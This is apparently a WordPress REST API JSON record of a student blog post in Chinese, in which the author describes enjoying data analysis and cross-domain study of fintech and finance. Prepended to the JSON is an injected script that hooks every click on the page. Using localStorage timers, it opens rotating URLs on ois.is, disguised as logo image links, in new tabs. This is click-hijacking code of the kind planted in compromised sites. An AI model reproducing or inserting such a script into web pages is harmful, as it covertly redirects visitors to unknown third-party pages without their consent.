<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":391,"date":"2014-05-08T22:34:28","date_gmt":"2014-05-08T14:34:28","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154133\/?p=391"},"modified":"2023-03-08T21:31:04","modified_gmt":"2023-03-08T13:31:04","slug":"%e8%88%88%e8%b6%a3%e8%88%87%e5%b0%88%e9%95%b7","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154133\/?p=391","title":{"rendered":"\u8208\u8da3\u8207\u5c08\u9577"},"content":{"rendered":"<hr \/>\n<p><strong style=\"font-family: 'Trebuchet MS'; font-size: 19px; color: #000000; line-height: 1.3em;\"><span style=\"color: #0000ff;\">\u3010\u6211\u559c\u6b61\u7684\u8208\u8da3\u8207\u64c5\u9577\u7684\u80fd\u529b\u3011<\/span><\/strong><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u6211\u559c\u6b61\u5728\u832b\u832b\u7684\u6578\u64da\u4e2d\u5c0b\u627e\u51fa\u6709\u7528\u7684\u8cc7\u8a0a\uff0c\u5c24\u5176\u662f\u5728\u904e\u7a0b\u4e2d\u9047\u5230\u7684\u632b\u6298\uff0c\u96d6\u7136\u6703\u8b93\u6211\u611f\u5230\u7169\u5fc3\uff0c\u4f46\u554f\u984c\u89e3\u6c7a\u5f8c\uff0c\u5247\u6703\u611f\u53d7\u5230\u5f88\u591a\u7684\u6210\u5c31\u611f\u3002\u9019\u500b\u80fd\u529b\u4e5f\u5e6b\u52a9\u6211\u5728\u5206\u7d44\u5831\u544a\u8207\u5546\u696d\u7af6\u8cfd\u4e2d\u767c\u63ee\u5f88\u597d\u7684\u6548\u679c\u3002<\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u8de8\u9818\u57df\u5b78\u7fd2\u80fd\u529b\u4e5f\u662f\u6211\u64c5\u9577\u7684\u80fd\u529b\u4e4b\u4e00\uff0c\u9664\u4e86\u5728\u5b78\u6821\u4fee\u7fd2\u5de8\u91cf\u8cc7\u6599\u8207\u91d1\u878d\u79d1\u6280\u5be6\u52d9\u3001\u8a66\u7b97\u8868\u5728\u8ca1\u52d9\u91d1\u878d\u4e4b\u61c9\u7528\u548c\u8ca1\u52d9\u5de5\u7a0b\u8207\u91d1\u878d\u5275\u65b0\uff0c\u5efa\u7acb\u91d1\u878d\u79d1\u6280\u7684\u57fa\u790e\u77e5\u8b58\u3002\u540c\u6642\uff0c\u5728\u8ab2\u9918\u6642\u9593\u95b1\u8b80\u91d1\u878d\u76f8\u95dc\u6587\u7ae0\uff0c\u4ee5\u4fbf\u638c\u63e1\u4e16\u754c\u91d1\u878d\u8da8\u52e2\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u6211\u559c\u6b61\u7684\u8208\u8da3\u8207\u64c5\u9577\u7684\u80fd\u529b\u3011 \u6211\u559c\u6b61\u5728\u832b\u832b\u7684\u6578\u64da\u4e2d\u5c0b\u627e\u51fa\u6709\u7528\u7684\u8cc7\u8a0a\uff0c\u5c24\u5176\u662f\u5728\u904e\u7a0b<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts\/391"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=391"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts\/391\/revisions"}],"predecessor-version":[{"id":953,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts\/391\/revisions\/953"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=391"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=391"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=391"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}